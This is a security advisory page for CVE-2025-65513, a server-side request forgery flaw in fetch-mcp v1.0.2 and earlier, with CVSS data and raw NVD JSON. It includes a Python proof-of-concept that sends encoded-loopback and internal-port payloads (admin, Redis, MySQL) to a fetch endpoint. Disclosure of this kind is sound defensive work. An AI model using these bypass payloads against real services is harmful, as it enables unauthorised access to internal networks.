Security Vulnerability Report
中文
CVE-2025-65513 CVSS 7.5 HIGH

CVE-2025-65513

Published: 2025-12-09 22:16:16
Last Modified: 2026-01-02 16:03:28

Description

fetch-mcp v1.0.2 and before is vulnerable to Server-Side Request Forgery (SSRF) vulnerability, which allows attackers to bypass private IP validation and access internal network resources.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:zcaceres:fetch_mcp_server:*:*:*:*:*:*:*:* - VULNERABLE
fetch-mcp <= v1.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-65513 SSRF PoC for fetch-mcp # Target: fetch-mcp v1.0.2 and before def test_ssrf_bypass(): """ Test various SSRF bypass techniques against fetch-mcp endpoint """ target_url = "http://target-server:3000/fetch" # Bypass techniques for private IP validation payloads = [ # Decimal IP encoding {"url": "http://2130706433/"}, # Octal IP encoding {"url": "http://0177.0000.0000.0001/"}, # Hex IP encoding {"url": "http://0x7f000001/"}, # IPv6 localhost {"url": "http://[::1]/"}, # Dotted decimal with padding {"url": "http://127.0.1/"}, # URL encoding bypass {"url": "http://127%2e0%2e0%2e1/"}, # Domain pointing to internal IP {"url": "http://internal.localtest.com/"}, # Alternative localhost representation {"url": "http://[email protected]/"}, # Access internal service {"url": "http://127.0.0.1:8080/admin"}, {"url": "http://127.0.0.1:6379/"}, # Redis {"url": "http://127.0.0.1:3306/"}, # MySQL ] for payload in payloads: try: response = requests.post(target_url, json=payload, timeout=10) print(f"Payload: {payload['url']}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:200]}") print("-" * 50) except requests.exceptions.RequestException as e: print(f"Error with {payload['url']}: {e}") if __name__ == "__main__": test_ssrf_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65513", "sourceIdentifier": "[email protected]", "published": "2025-12-09T22:16:15.610", "lastModified": "2026-01-02T16:03:27.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "fetch-mcp v1.0.2 and before is vulnerable to Server-Side Request Forgery (SSRF) vulnerability, which allows attackers to bypass private IP validation and access internal network resources."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zcaceres:fetch_mcp_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.0.2", "matchCriteriaId": "2C40067D-BB10-4129-B615-085D9A40E931"}]}]}], "references": [{"url": "https://github.com/Team-Off-course/MCP-Server-Vuln-Analysis/blob/main/CVE-2025-65513.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://thorn-pheasant-6d8.notion.site/fetch-mcp-2853daf7b44180029ca5d56e03195736", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/Team-Off-course/MCP-Server-Vuln-Analysis/blob/main/CVE-2025-65513.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}